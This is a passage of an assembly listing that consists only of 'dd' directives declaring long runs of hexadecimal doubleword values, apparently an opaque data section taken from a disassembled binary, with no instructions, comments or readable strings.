		dd 12F058AEh, 0BA4F5912h, 3E8D9800h, 404A15h, 0C64CFB9Ch
		dd 63EE117Bh, 0FD89A00Eh, 0AF40D7DEh, 1027D130h, 156600A8h
		dd 0ED8B06A7h, 0FA00DFF9h, 8EDAC438h, 58130B27h, 8400C417h
		dd 68522E51h, 1E0232A6h, 94C35C87h, 0AA1080E7h,	0E05234h
		dd 9D2C4618h, 0FB2EDB7h, 309A5100h, 1954B12Ah, 0BCCD004Ah
		dd 0B6BB2BE2h, 0C6026E28h, 18F145C1h, 934D402Fh, 0DAFE0652h
		dd 0E18482D1h, 2EB44800h, 0DC9251B3h, 2FD50314h, 0E16661B1h
		dd 9D96A298h, 91E6D000h, 86D7460Eh, 5712B0F1h, 4210541Bh
		dd 399D48h, 0EFD43819h,	3E519A54h, 0E60358F5h, 0D9C5C306h
		dd 60D7A788h, 110397E4h, 64B69BDAh, 0B5F2A850h,	434700AAh
		dd 0C0E307F7h, 0D0030A27h, 0D7043B38h, 0CDC0E596h, 0DBF885h
		dd 23C609B1h, 8C537C02h, 0A630D9C7h, 852CE780h,	0D42E0EE2h
		dd 2891D6Fh, 9740E82Eh,	0E123EB4Dh, 6BB9DC00h, 0A9C1F0E5h
		dd 702C00E9h, 72AE64D7h, 683E6637h, 8E2200C4h, 569755FCh
		dd 0E0C93BCAh, 0B820F8EFh, 0FE87034Ah, 7193EF0Ch, 0A8E008CDh
		dd 26358Ch, 0E1D03808h,	0AA21221Ah, 40199800h, 818A37D8h
		dd 0EEF40582h, 0C5AE73h, 579C394h, 0F3073363h, 2F5C6E47h
		dd 0DAC7F4C7h, 5B877E30h, 0E9A0010Bh, 9BFACAA4h, 80E2C5CEh
		dd 19992471h, 258E52h, 0B48967DBh, 297593D2h, 78BD5C00h
		dd 6E442D5Bh, 42FD0051h, 0BEC1A69Fh, 32405018h,	1DF50F19h
		dd 0AC94A09Dh, 37A89A0Eh, 0C2B8109Bh, 0A1003E44h, 901C8072h
		dd 73E941h, 34A94C38h, 3FB99945h, 0AB4DAE04h, 95C07E6Dh
		dd 73570E73h, 87CF007Ah, 13C6B751h, 81EC40DAh, 49558E00h
		dd 9CD375CCh, 20E2009Bh, 0A0F48E3h, 6004D38h, 185D0501h
		dd 9A49872h, 0E20B7813h, 14508680h, 0C2006D46h,	0C7E4DBA5h
		dd 0CD8555h, 0F28DA159h, 0D7D27749h, 0CA31FC00h, 0DEEEA58h
		dd 0ACED0022h, 0FAF8602h, 9CB8259Dh, 80F55B3Eh,	1214E961h
		dd 0A63A59h, 2B459A94h,	5E90078Dh, 3984A930h, 41953Bh
		dd 0A16DCEB1h, 0C8512AFBh, 9424FD0Ah, 0CF00E658h, 0ECCAD747h
		dd 4540F2Dh, 746026BCh,	5B92B81Dh, 8F8DE807h, 6033A734h
		dd 0F838C6DDh, 18B5000Dh, 8D7E7675h, 70001AFCh,	4AE8D15Ch
		dd 0A09D5895h, 0E82FA614h, 0C8FA0083h, 0D1A54C98h, 3707F35h
		dd 650D2000h, 75565244h, 0B48100F0h, 0E7ACE6A3h, 62E2DC22h
		dd 0FC063CEAh, 0DD7956BAh, 1EFA7861h, 1D8AE22h,	0F2835481h
		dd 84B72036h, 696A9000h, 0E90EE05Fh, 45EE008Fh,	0D8D105A4h
		dd 700067F8h, 50E2AAE4h, 96DE3h, 0F972A901h, 0E5EEA0F6h
		dd 0CAC92E03h, 88974099h, 2A4FBEh, 71DF4EDAh, 0FAE1F05Ah
		dd 0BA9EF21Dh, 14C93E00h, 7E3956F8h, 0B37E3C8Ah, 0A402EA00h
		dd 664B4593h, 246C8800h, 0F02BE579h, 60D2002Ch,	0F4FEB7B4h
		dd 4DF2A83Dh, 0DF02FA00h, 96E5E773h, 9C3E0394h,	379E92Eh
		dd 0E18A7800h, 0C2E4C484h, 0EA0D00A8h, 0D6D995CBh, 0EE01BD66h
		dd 724BB05Dh, 0F330686Eh, 0CC39C14Dh, 70F98061h, 0F100F685h
		dd 384A1F5Dh, 72B12430h, 0F0F813h, 9E7854E9h, 0F383CF6Dh
		dd 206CA31Eh, 48770A4Ch, 3BD900DBh, 42C4A0DDh, 0BA01555Fh
		dd 93A23D36h, 50306A12h, 0E9E6E3h, 0C8998169h, 1A84C653h
		dd 2DF5D91Ch, 5C4C4D40h, 1934894h, 8AAAB016h, 0D05AAB32h
		dd 5F3A09FAh, 4D2E1885h, 77D9520h, 77CF5CCEh, 0A4B400CCh
		dd 0E5034E3Ch, 0FC11F6A8h, 0EE07B04Ch, 0D7BE0057h, 34816E03h
		dd 0EB0168D1h, 934AD5EAh, 0E2C07C76h, 5C093DA3h, 4689978Fh
		dd 0D650FEh, 95F4C060h,	0F38B7Bh, 18103384h, 133B7ACBh
		dd 5ADE3Bh, 1E169D86h, 50C4E04Dh, 0B8AE6095h, 573CFEE0h
		dd 99006085h, 805CE61h,	0AE038D69h, 44EB7AD7h, 0F97800D1h
		dd 0E9EE1514h, 4F00E40Eh, 0B2BECD56h, 549E5Ah, 804E639Bh
		dd 57106995h, 88E5820Fh
		dd 0D016C0C8h, 0C05BBB4Ah, 0D5363849h, 0D8099C32h, 7CA58AB1h
		dd 5D0E008Fh, 80F22045h, 2698E900h, 78FF83A7h, 741261Ah
		dd 0AB4D1DADh, 0CB3400C8h, 0BC4AB758h, 0C8B84586h, 280FC8C7h
		dd 0A181354Ch, 0D2B214BAh, 851E989Eh, 0C19EB0A6h, 6F628CCDh
		dd 3D8B83F0h, 78005AB4h, 0BDDC0B53h, 7700CDC6h,	56E475D3h
		dd 0E2A6BB29h, 7408F8A0h, 8F960048h, 341C6AD5h,	9E0C544Eh
		dd 857F44Fh, 95B000E2h,	0D20BF58Fh, 1A09EA35h, 808043A4h
		dd 7BF08882h, 5ADD0058h, 0E36C1175h, 51004471h,	0DF4D8D60h
		dd 76A0B5h, 345A09E8h, 0FBCF270Fh, 0CE915106h, 0E20E2F4h
		dd 53CD67ABh, 785AF780h, 453007D0h, 5EC998ADh, 0EB7C91h
		dd 212C49Bh, 0A653F962h, 0CE0DA206h, 698B3Ah, 0F7B205FAh
		dd 19849612h, 0A9009479h, 0CABCD033h, 3F0B2357h, 713CF9E6h
		dd 39F8C4B0h, 0FD18D547h, 0AF10BE52h, 432B00D7h, 71971922h
		dd 94744E39h, 96A880F7h, 6D893EC0h, 0D8780E34h,	68C0D3DDh
		dd 49BB0724h, 1918F9F0h, 93F94E71h, 68820092h, 7EC0F032h
		dd 2E0ECE85h, 82072680h, 9806A5A0h, 104B43C0h, 0E03C5FF5h
		dd 0BF194Eh, 8B7A6150h,	90F96BDAh, 5E06F0EAh, 0BA64A57Bh
		dd 14C00B0h, 25523EFh, 0C23AD2AAh, 0F08C001Dh, 417A6A0Ah
		dd 0A17D0070h, 6C2A391Ch, 0FE00AD3Bh, 0E478389Dh, 0F8AA45h
		dd 0D6D2CE68h, 0C32D13Ch, 59DEFE00h, 0E3AC8B9Ah, 0A1700B50h
		dd 0A5783F7Eh, 0A70F5778h, 0A066971Ch, 0F7A9D2E3h, 7A5E0BCh
		dd 1D8819F5h, 35D88006h, 77002198h, 807C63A4h, 184EB2h
		dd 0DFA125C1h, 0BB5E9110h, 0D8EE4800h, 219F9439h, 0AA770B33h
		dd 6103D17Ch, 8CC06F8Bh, 3C00D464h, 0B529FA16h,	7B2B2Ch
		dd 0C0FCEB34h, 3B3E466Ch, 424CFD00h, 0D8D5395Bh, 417C00BCh
		dd 0C158797Bh, 0D7EC965Dh, 30B5CF0Fh, 9B2040ACh, 0DF2C6h
		dd 8446D4ABh, 6EA77F88h, 6D731E00h, 0FB2126AAh,	70510020h
		dd 1BEC274Ah, 5D1F3325h, 1395453h, 0C384A4EDh, 0B8E45C62h
		dd 595560ABh, 0D50B63B2h, 0C260463Bh, 0ADB6BF08h, 5461FB20h
		dd 24E95C59h, 0FA96E701h, 4EB7A021h, 0EA59DC01h, 0A4BFA21h
		dd 20C0D407h, 89D176Bh,	3DA3217Ch, 8A58D040h, 0BB5D1428h
		dd 6C0F584Ch, 0F85DC7A5h, 222CF928h, 0D8433252h, 0AB55270Ch
		dd 284267B0h, 4DC82C01h, 708F5D29h, 58C7570Dh, 1FA27EECh
		dd 0FAC248h, 4F2A77B0h,	4051DC42h, 0EBB6266Fh, 2C3CF905h
		dd 4AA50733h, 0FAC08BDBh, 0ED50487h, 0AAEE32E8h, 0A39178F8h
		dd 6F2A890Ch, 50ED924h,	850269C5h, 0BC5D06h, 514BAC5Fh
		dd 761F9298h, 8C00EA68h, 0CE8EBE23h, 1820726Fh,	30C05D32h
		dd 4B019B60h, 4142F9F4h, 0BD603AD7h, 0CD513028h, 0B114DEA8h
		dd 6F18A900h, 0B3412DBEh, 9BF8E4h, 9E6A788Dh, 95727358h
		dd 0C100EF7Fh, 0F57F9AE5h, 2A7E33Eh, 0C3D2C4FFh, 60DD977Ch
		dd 180A7260h, 0C03B0E50h, 0D02662A7h, 1030649Ah, 0F0651Ah
		dd 0A0C8BA75h, 16BFEC38h, 0F21C6272h, 0BD00B97Bh, 0A3029C5Fh
		dd 642F3071h, 0E212BB49h, 6EFD7B01h, 4DCBC41Bh,	44D479C1h
		dd 0B07128B5h, 5A7000EBh, 0ED05E18h, 7F0F7D23h,	40AD837Ah
		dd 55EFC4E2h, 0FCDE1593h, 503FE48Eh, 737D5F81h,	137F49D0h
		dd 6D619896h, 0CE0F0087h, 0C99F5341h, 8800C290h, 0F7941B06h
		dd 3D8231E0h, 20007B14h, 2B3A3F2Ah, 0B1C0616Fh,	0ED5DCBA0h
		dd 70909Bh, 2BBA7FBh, 9038884Bh, 3EFF7500h, 927A39E0h
		dd 2E4EEAFEh, 1FF4E3h, 0C85A1F5Eh, 0F015FC9h, 2983E5E6h
		dd 76801223h, 0CFC08AFDh, 6F1F6117h, 3C0726A4h,	31F36E04h
		dd 14FF98A8h, 8B732E8Ch, 0FBA1002Bh, 513DB665h,	0DE54D401h
		dd 0CD0DC826h, 31F45C8h, 18C98A3Eh, 10002CD5h, 756C647Fh
		dd 0EFE5DEh, 5750F2C2h,	9E280A7Bh, 8E715C00h, 600F7690h
		dd 75B20067h, 704C65C7h, 4F1DA13Fh, 34000E82h, 0F37991DBh
		dd 0AC84002Fh, 87A5F4FDh, 38005A88h, 12D4E977h,	248C5CB1h
		dd 3B7C4Dh, 48874C66h, 6D00F85Bh, 699FB7DDh, 1C942h, 0A17805Dh
		dd 0ABDF1CF4h, 823AB673h, 0DC4C8008h, 50F33306h, 807D01EFh
		dd 9D87E083h, 9583D2CDh, 0C8002B66h, 414EC66Ah,	3A4FB389h
		dd 3E79E52Dh, 0DB02AE25h, 0B42A2E60h, 8279C460h, 0B077137Ah
		dd 7F614D16h, 0E4606A00h, 23CDB7h, 0E347B38Fh, 2C06D08Ch
		dd 1F7E903h, 0F037EB18h, 0FC0B7Dh, 17C59ADDh, 0BBDC8DAAh
		dd 0A80085FCh, 0B4ED3928h, 239650h, 4CBD2BF8h, 0C0C9B521h
		dd 850C9E3Dh, 7D4E367Eh, 0E9FF39C0h, 1150371h, 3F98D631h
		dd 0ECA7CEC0h, 4697941Dh, 34090179h, 7E54FB72h,	0CA8BECh
		dd 39BBDA0Ah, 0AE4BC123h, 467B8E00h, 2A131C89h,	9EB500EEh
		dd 83546332h, 120067A8h, 2BF751C2h, 3BCC5FCEh, 0FC80DBA1h
		dd 3AB67064h, 550005EAh, 9363F61Eh, 1291098Ah, 54EE62FAh
		dd 0A50F1410h, 0BFC0FEF1h, 17774C14h, 91203148h, 30CFE804h
		dd 0D8106077h, 8F00712Dh, 6AAA959Fh, 0E95351h, 0A89CAE09h
		dd 2A456F19h, 0F2B7D806h, 28FFC7h, 520FB0E6h, 9DC0D1E9h
		dd 3108FB81h, 0A2511363h, 2228E609h, 0E7423FC3h, 85D4FC08h
		dd 6E771E06h, 0F8A73178h, 107E3329h, 80FE66B9h,	0F567891Ah
		dd 9894A950h, 40541F04h, 8BBEECB0h, 64965095h, 8C3920C2h
		dd 3276AB42h, 9228B85Ah, 88405083h, 0F217F111h,	0BA99A10Ch
		dd 6C62CE28h, 224D6DA1h, 0E8234AA3h, 8A291093h,	0E4140F78h
		dd 47B5404Bh, 90A96151h, 3010033h, 0ABC2656h, 5002CA90h
		dd 39F03AF6h, 62AA800Bh, 220324h, 1307B6C0h, 0CB30888Ah
		dd 0A73B9F00h, 34C25C3h, 0B92000A9h, 8DF33DC5h,	6800FC18h
		dd 84CFAE1Ch, 9E4014h, 73E0FBDEh, 1F42B012h, 0E2103F2Ch
		dd 96EA803Eh, 6A17BC0Bh, 7AA9071Ch, 63A40D2Eh, 0CFD0D6DCh
		dd 5DEA8CAEh, 0B1CC4700h, 827AD9BDh, 0DD8716EDh, 76000E8h
		dd 850C114Dh, 0C13EDFA0h, 7F0E24F4h, 0A01968B7h, 8E026380h
		dd 0D4F4EF82h, 342A4847h, 5FA3EF00h, 970E12F1h,	0F9FEE900h
		dd 81A118A8h, 0D99900F8h, 9AFD7470h, 9F00C2DAh,	0BA1308CDh
		dd 58BD0E2Dh, 4101FC90h, 0FFF6B350h, 2858FCC8h,	0CA002B72h
		dd 1D724C6h, 906EECD8h,	0DF970070h, 0AC4041Ah, 1700DA31h
		dd 0E7DB58C0h, 4129D8h,	5CD2CB44h, 3456618Eh, 96F110Fh
		dd 622F43C7h, 0FDC5B837h, 7EE60098h, 6CD450DEh,	8C0005BAh
		dd 0BDF8D31Ah, 18699981h, 68187FECh, 5100C3C5h,	56A85803h
		dd 0C0C7ABh, 0CE4DAA69h, 4335346Ah, 0BDC31B00h,	962ADDC9h
		dd 9230002h, 4A1FC057h,	0E4019CA8h, 0C3A5E598h,	0ABEC035Fh
		dd 7ADE0046h, 99C7D765h, 0DF00BD59h, 5CC138FFh,	35836A5h
		dd 6375E157h, 0C0D5B56Ah, 3A0F1533h, 12295000h,	909A386Ch
		dd 5AB000A3h, 0DB7F2C01h, 110F77C7h, 0C0CF2531h, 495E24EAh
		dd 0DAD601D9h, 8A41189Ch, 3FA43046h, 0B7F20316h, 0AAB3EF00h
		dd 0DB82A4h, 0DF180DFh,	0E47B471Ch, 9AEAC800h, 4E404D33h
		dd 0D67E0011h, 0A3E27C56h, 9E3E2D57h, 8E70060h,	590AB606h
		dd 5EF837h, 24DDCFD2h, 0C9FE9CF0h, 6CD36A00h, 293B69BCh
		dd 16D400E2h, 61BED72Bh, 4E0048F8h, 5CCD15D6h, 7524B212h
		dd 1BEC00CAh, 9B286DF0h, 840085D1h, 6FDCFE0h, 0E213ACh
		dd 20E4AA96h, 0CAA71B9Dh, 3A485649h, 635E0019h,	69B70EFAh
		dd 76AC00C5h, 0B55DE6D3h, 2801D52Fh, 0A1EC3AC7h, 5C0885Fh
		dd 31CE07E4h
		dd 0F03CB797h, 0E3BD6D08h, 0B7A458h, 0BB68E97Fh, 1D40D1A7h
		dd 0C201D9F4h, 42C7DF17h, 677E9C60h, 37161D00h,	74D2E16Ah
		dd 0D7B00C3h, 0F165A32Ah, 8E009EBCh, 0EBB5E71Bh, 3715D1h
		dd 43451964h, 0CF11BE36h, 0D39CEA00h, 0F71C5891h, 0B3D000E7h
		dd 3902463Dh, 6C0F05DEh, 8E4B1079h, 0A4B021ADh,	0AEC90AAh
		dd 24690133h, 0C9852B31h, 30C420E9h, 4D756B00h,	0D50B6AFDh
		dd 69D400BBh, 57393BE6h, 0BF00F36Eh, 87D65A7Dh,	1274FB1h
		dd 0F0BA63A3h, 0F413092Ah, 0A600728Fh, 95EBAB7Ch, 590FE70h
		dd 0AC23702h, 59BC8741h, 8DD7B400h, 5D00B54Ah, 0F4C0D074h
		dd 3F856A3h, 27D54125h,	0F0D8164Dh, 8F0073F2h, 0D2DEEB0Eh
		dd 0FAEE46A6h, 4E7A03ADh, 0D6729837h, 63FE8F0h,	0ED8C4507h
		dd 21E0E69Fh, 25CE7A1h,	785FA29h, 0C07DCD2Ch, 973C72h
		dd 0B253F320h, 7BDD869Dh, 0F6EC2400h, 75D3D0B8h, 3E9B00FAh
		dd 30EF093h, 47019017h,	88354E37h, 4BD4ECB6h, 0C12600DBh
		dd 0B4CC96C0h, 0FA003EBEh, 0E619B5DCh, 3E30B67Ch, 1F775779h
		dd 0D3D6E1h, 14743D6Bh,	4A0023D2h, 7C46FFB4h, 3F706825h
		dd 0D0093AFh, 1356CDF3h, 247D6178h, 0CFE6EA04h,	0BE824187h
		dd 0C3C0419Ah, 0B12DDCh, 651B16FCh, 7FB418D0h, 4E7E291Eh
		dd 0C3B6F280h, 3F793746h, 0A9008119h, 0FA763061h, 680051BFh
		dd 1C41C036h, 39C1C245h, 380E35B9h, 33649E57h, 760D070h
		dd 0D3014285h, 6AC31C64h, 96C84B49h, 72DF0383h,	9FC003A2h
		dd 0F8D35281h, 3D00BB75h, 0AB2A7110h, 1DA105C5h, 0C0121D59h
		dd 0BF827DF8h, 9300A36Dh, 396035B3h, 21E0FFh, 89AE7065h
		dd 0E9E70962h, 0E1A0A0Fh, 2F87E0B1h, 0D3758Bh, 0D1EA8211h
		dd 0DF5496C9h, 0E4B69B00h, 0B4834250h, 5955E2AAh, 8E001C17h
		dd 0F192C9FCh, 4200F39Fh, 38F76472h, 0E2E555h, 0AD4535E7h
		dd 91BF0C1Eh, 0DB77B600h, 0CFA113A8h, 776F288h,	6A1CC87Fh
		dd 32073979h, 7C78A3B7h, 7A26D8E1h, 6A2A3CC0h, 0A9D11ED0h
		dd 11AA4BF0h, 0F7B47E00h, 343A23C4h, 0EEF382BFh, 60D30B79h
		dd 197FE130h, 30D0D680h, 2B71309Bh, 0FD518D01h,	0A6D45E4Bh
		dd 0B7CADCh, 0E5D0FBA8h, 4553F1D6h, 31D51B00h, 78BCB2BBh
		dd 4641015Eh, 16D96BF3h, 0F8DBD16Ch, 0F4509B87h, 1E005F80h
		dd 75A634B2h, 33D61Ah, 0B5803C4Bh, 0B3E60189h, 0F58B5900h
		dd 4DA984B1h, 0B9DC0072h, 0BD9F7C1Bh, 0FF006128h, 95C78255h
		dd 0AC62A6h, 4E7FC8E8h,	0FE9E76A7h, 0DC047702h,	0C0866411h
		dd 75F8583Bh, 7533033Ch, 0AC7C66C4h, 9081B5D8h,	0EB3F7E00h
		dd 44D87845h, 0B046FEC6h, 0B3840113h, 9C044E3Ah, 4DB0D003h
		dd 766B4302h, 60DC54C9h, 2024DEh, 143D64CBh, 390458F4h
		dd 6AFAB01Dh, 57342D00h, 19E566h, 0F218D386h, 0C56CC89Fh
		dd 0E29B0B00h, 9ECB1CEAh, 0EE250065h, 0E35B566Eh, 34000EBAh
		dd 0AB1D3F05h, 8863D0h,	6949C708h, 397265CEh, 0C600AAF8h
		dd 0AC2CB089h, 1740A996h, 13A40646h, 669C4377h,	8380D138h
		dd 97009F31h, 6D068D16h, 0A492F2h, 0D51CA8D8h, 0D17CF8E7h
		dd 0A9AFF000h, 44E4C753h, 1EA7543h, 9BEC46EFh, 20FD5A7Eh
		dd 0A630AD68h, 728EE2B9h, 0DFE300F6h, 427E6588h, 0F4FD2BABh
		dd 3500B008h, 1A8AF9D0h, 5F1CB5h, 9A0CCB36h, 0B65CE127h
		dd 0A3B2CA12h, 5000801Eh, 5976E712h, 8E755CE5h,	46872F0Fh
		dd 193DA060h, 0FD00A948h, 772CD3CFh, 0FC328Fh, 97232ADFh
		dd 0A57E4BB1h, 38F1B500h, 0BA1099E2h, 1C50005Ch, 96DCD519h
		dd 9701A425h, 0F71777A6h, 0D34339F9h, 48E580FAh, 0DAFCDDh
		dd 22433420h, 524494C4h, 0CEC8260Eh, 8EB3802Ch,	0F63FDC0Ch
		dd 0AC30F05h, 0C5E05162h, 95A21E21h, 0EFBA1F02h, 0C31370D1h
		dd 0DB80CD56h, 16B610h,	0ED2EF876h, 0D41DEF50h,	0C5253600h
		dd 0D12C4308h, 5B87008Ch, 0E7AB6769h, 18E24C7Fh, 47045701h
		dd 40C13703h, 1FD73EF4h, 40CEBE73h, 71461872h, 48000E1Ch
		dd 0B6D80CB2h, 12E9C34h, 5EAEB356h, 0E8D159ADh,	0EC0019ACh
		dd 39632A99h, 0F0B2129h, 0A494D485h, 2E31FFA0h,	5C000892h
		dd 0EC55569Eh, 1FA9B9E0h, 40545DD7h, 0DECC1579h, 7000CBF9h
		dd 0BAAC7BA8h, 20441D6h, 0D3A58E02h, 4CE033B7h,	1F2609BDh
		dd 0BB9D5C31h, 0F3422900h, 0B6DCEAh, 160E52F6h,	0BA7C5C15h
		dd 0F2456A1Dh, 1DC2E740h, 3AF93B7h, 7D11951Eh, 0CBE8D87Ah
		dd 2C00CDE4h, 0A53231C1h, 90894602h, 66650037h,	203E0F70h
		dd 16001407h, 0CDFA6DB6h, 736EE987h, 54E41FEFh,	17514009h
		dd 0F8CEFE7Eh, 5871A105h, 80EEA312h, 0A432E4C3h, 2C688330h
		dd 24107Ah, 0CDC9654Fh,	0A7BCCCFFh, 0BEF86709h,	2D788Fh
		dd 27BFAF4Ch, 0C8712392h, 0A593C30Fh, 434160D5h, 1D21A1F2h
		dd 8238242Bh, 75532856h, 0B08067E2h, 167BBCC9h,	9001877Dh
		dd 54E772Ah, 50D93DE3h,	6440A061h, 4CBBD412h, 1001447h
		dd 0D07F4AACh, 9101825Ch, 0B4EB17ECh, 63D2E151h, 0BAB2E01Ch
		dd 8F70380h, 97BCC7BEh,	0E81249B1h, 9872CB9Fh, 61242504h
		dd 0D8D0F122h, 3ED52767h, 2D0F4620h, 0B780D139h, 1090526Fh
		dd 0A8D08428h, 3615E400h, 0EF51332Bh, 1E21E4E1h, 87DB96D8h
		dd 77B724F7h, 72AF10A5h, 9B01FC08h, 0EBF1CBDh, 48718DE1h
		dd 71E44EF4h, 0A8010060h, 7E6C6B5Ah, 770ABCFFh,	0A832D443h
		dd 4E9CA701h, 24182160h, 2848A10Fh, 8BAC2A72h, 251EA000h
		dd 94C9C2h, 9FF0F8B4h, 0C19F3EDh, 0E4263B14h, 0F61A0E88h
		dd 754BC0D4h, 3413834h,	5F252A76h, 28D8F0F9h, 639A5C2h
		dd 0F3F20723h, 6DF0A9ADh, 7417BD6Fh, 8C730303h,	8A2CFB75h
		dd 8860C29Ah, 1C00CE1Fh, 0EDCD4374h, 2C70FEFh, 56D6E36h
		dd 0D540161Bh, 793A6F09h, 343500F2h, 0DE087A19h, 8EE30071h
		dd 6AD27F4Eh, 440085CBh, 0C220174h, 1367C983h, 704A53BDh
		dd 814C3988h, 560D6513h, 590F6007h, 0F721FDC0h,	686D00ADh
		dd 333A492Bh, 0B400510Ch, 56302D74h, 48E493h, 0A25DB842h
		dd 4757D4B3h, 0AFE2AD00h, 7E131466h, 480F00CBh,	0A50F2C0h
		dd 0BCA422D8h, 32658607h, 6FFE5817h, 537840C2h,	1308CCE5h
		dd 0A0B57Ah, 153C7700h,	1F00EA27h, 534140ABh, 35459Ch
		dd 0B8638A5Dh, 10EE7628h, 0D1A9F900h, 20ED92DAh, 6A7200A4h
		dd 162AFBACh, 8B005A28h, 4E18B968h, 4B1D91FEh, 0CF701C8Ch
		dd 3EE029E8h, 0DE55CC8h, 0DD2B0300h, 228E123Fh,	6DCB05DFh
		dd 0C1E37D3Ah, 0F81B5ADCh, 743EAD2Dh, 3F0CCCF0h, 0E47000A8h
		dd 37D2ACEDh, 0EC157367h, 97F05C13h, 0C1EA0C12h, 10D3A8ACh
		dd 0ABA4EBh, 0ACB09ED8h, 5841F1C0h, 0AD782800h,	8561CEB5h
		dd 517E0057h, 602B4302h, 3500037Dh, 0C916E044h,	0F8E7049h
		dd 6C059CC2h, 201387BEh, 0AF58D0E2h, 460055C5h,	0E4964B3Ah
		dd 4ACD3Bh, 9F8334EBh, 630CC6B2h, 3215D70Ah, 49039722h
		dd 0D854A0CAh, 4CE2E4DBh, 1C4D6C98h, 3DE007Bh, 6806BAB4h
		dd 90005737h, 6B8C19B3h, 7C1ECDFFh, 55080063h, 4E374A9h
		dd 4B023C7Eh, 0FB49501Ch, 0E684E03Bh, 0DE952EB5h, 2CC000E5h
		dd 0FE69C44Ah, 1906EB00h, 4CFF6079h, 73E00Ch, 768E5F75h
		dd 1B16C241h, 53002090h, 3961489Dh, 8FBC3Dh, 9A6AA8D7h
		dd 281095ACh, 0B9DDF600h, 46834D27h, 18C04C54h,	47F34876h
		dd 0B4C81371h, 5A9481D7h, 75A07B30h, 0E571C38h,	0F61B409Eh
		dd 0CDD536AAh, 0B7E75C00h
		dd 35ED6974h, 6570FF9h,	0F12066A0h, 0F26555DCh,	7027212h
		dd 80A56833h, 9A7CDFh, 20E04CD4h, 0B558BD72h, 0A15CD21Eh
		dd 73797641h, 5BCC348Bh, 48648D0h, 9BB40A05h, 198A00D6h
		dd 58AD9CC4h, 0ABBD2300h, 0DF89FA93h, 0FBBB1D91h, 3FA7C7B8h
		dd 6F5C726Ah, 0B282440h, 8E900300h, 9FE2437Eh, 6C945C93h
		dd 0E8964200h, 983B991Eh, 3AAAE600h, 93320C8Ch,	0D95F01CEh
		dd 510940AEh, 22C4E801h, 39EF9C0Bh, 96FC801Ah, 82CAA1h
		dd 86911004h, 66C0C59Eh, 0FC052800h, 0C70B8841h, 27351D87h
		dd 2F02C05Ah, 0B275A057h, 8E216800h, 25BF6C66h,	56C22683h
		dd 80979E0Ch, 7F262D4Bh, 13E655DFh, 98675109h, 0B6D40434h
		dd 0D7C81CFEh, 3DB800FEh, 0C3FF6677h, 97263701h, 0DE5089E2h
		dd 0B5060h, 0A570B84Fh,	0FFF28E38h, 0CD782900h,	9C3A5FF7h
		dd 6C013F7Dh, 0B8EFA380h, 0B272F9B9h, 0C4C92901h, 4F821349h
		dd 0A700467h, 168533F8h, 0CB540198h, 33B2B024h,	12E90078h
		dd 64C62FFAh, 25C501C4h, 0E09E772Bh, 0C05C607Ah, 84B5F01h
		dd 0E57024ECh, 0EAE6EACCh, 51773CFDh, 35464D00h, 3481ED0Ch
		dd 0E2D23D17h, 0DC69CA00h, 84408Ah, 619FF6CDh, 1C800A4Bh
		dd 710048F8h, 0D6D016C6h, 0FCF4FD51h, 7AFE9Eh, 7B2B46D3h
		dd 11EA100Dh, 0B50014B8h, 0AB69FFADh, 4667D6h, 4B6423F0h
		dd 0C7FA8537h, 4F37C097h, 0AD50097h, 2F1DF539h,	3F00CA18h
		dd 0EBF88E4Dh, 3FF04113h, 4CDC5F50h, 0D3160B1Ch, 681C0Dh
		dd 0F37E381Dh, 1000579Bh, 9326E069h, 0E4FF9197h, 2F707CCh
		dd 0A0417BE7h, 0F94CE8A7h, 4E081002h, 0DA15A0EFh, 0DFE500C4h
		dd 0EB803C7Dh, 6D010D2Ch, 22040F02h, 0A4605B8Fh, 8E290008h
		dd 57B0064Fh, 4B075DF4h, 4443802Ch, 9B8ADFE0h, 0CA2A00D7h
		dd 579F8FCFh, 0E01D58A3h, 29809E6Ch, 0B87328A0h, 9A900A7h
		dd 0BEA57D49h, 2C01906Eh, 0FD01DC0Ah, 0F9C0D189h, 0FCA048F3h
		dd 4D52F500h, 5928606Ch, 3C104C3Bh, 8AFE00BBh, 0CF831FAAh
		dd 0F6AD00A8h, 0C7D471BDh, 3800AC7Ah, 17B45937h, 58342FD9h
		dd 0E300E4A1h, 6E71EF14h, 0D607C555h, 3C38D147h, 9A131CB0h
		dd 0E7BA0F62h, 74C042CAh, 0BB98110Ch, 84A69500h, 75E99620h
		dd 0BD440032h, 0FFEBD5D7h, 2F09A906h, 0ED58CBh,	57CEB417h
		dd 0CAB50080h, 0F5D9698Dh, 94173C9Fh, 0E4006179h, 4A8F441Fh
		dd 96CF003Fh, 5F7124F4h, 0B000475Eh, 54DF17F5h,	19BD33h
		dd 0E257EB35h, 0DB931ECEh, 4B0C9F24h, 0F354B100h, 0D08D17h
		dd 88BA86A1h, 95188038h, 326AAECh, 7B04648Ah, 3340C55Fh
		dd 24C8DAFFh, 3CBF3500h, 28203EF8h, 0A39F073Ah,	622B3857h
		dd 81404C84h, 957975A2h, 10012100h, 665B31Eh, 99C83AD0h
		dd 7CD54C80h, 972B830Bh, 0C996B700h, 50AFE55Fh,	27FE7D42h
		dd 37DC4EB9h, 7DE01400h, 0BE238EAh, 0A2DD8CCBh,	0FD4608E0h
		dd 0DC683Eh, 7FED2B88h,	2B30811h, 396AA7F1h, 30D0479Eh
		dd 8B4DD500h, 6949B6C7h, 14C92D1Fh, 9860D48Eh, 629DE66Ah
		dd 0DB2F3Eh, 4715D020h,	0E4001E5h, 503F7990h, 253D8040h
		dd 0E903A7B1h, 1539BF8Fh, 0C23781A1h, 7CED8F20h, 22910169h
		dd 0A41A8946h, 771070DCh, 0B4FC6301h, 6B45678Bh, 95A5F0h
		dd 1A9A824Dh, 8D3284CBh, 8026433Dh, 6D09DBD9h, 7B6B05FBh
		dd 96ED0EE2h, 7AA128C6h, 7F568113h, 0B81516A0h,	349000C4h
		dd 5B50D0E7h, 0AE00B59Eh, 0D9A9435Eh, 0EA413011h, 54E01CCDh
		dd 1E6640E2h, 0BB2A85BFh, 0B2FED100h, 0F75F8335h, 7120F0BCh
		dd 7E2D03B5h, 0A6BFF8C4h, 0D0E887F3h, 0C307253Fh, 0C608F71h
		dd 1830A830h, 371F03C2h, 28B0DA12h, 8E9C2000h, 2DD8BE82h
		dd 24B10059h, 6ADE580Fh, 0EA1D6C2Ah, 0C040D172h, 0EC5AA21Fh
		dd 38276159h, 70797378h, 96F8A548h, 803EA000h, 0C3B891CAh
		dd 0F2CC0BDCh, 0A820AADBh, 92371ED7h, 0E607AC90h, 0A8FD0830h
		dd 0DCC33955h, 1CEED88Fh, 0DE11C0E7h, 0FFEC42C4h, 0AEF4ECE9h
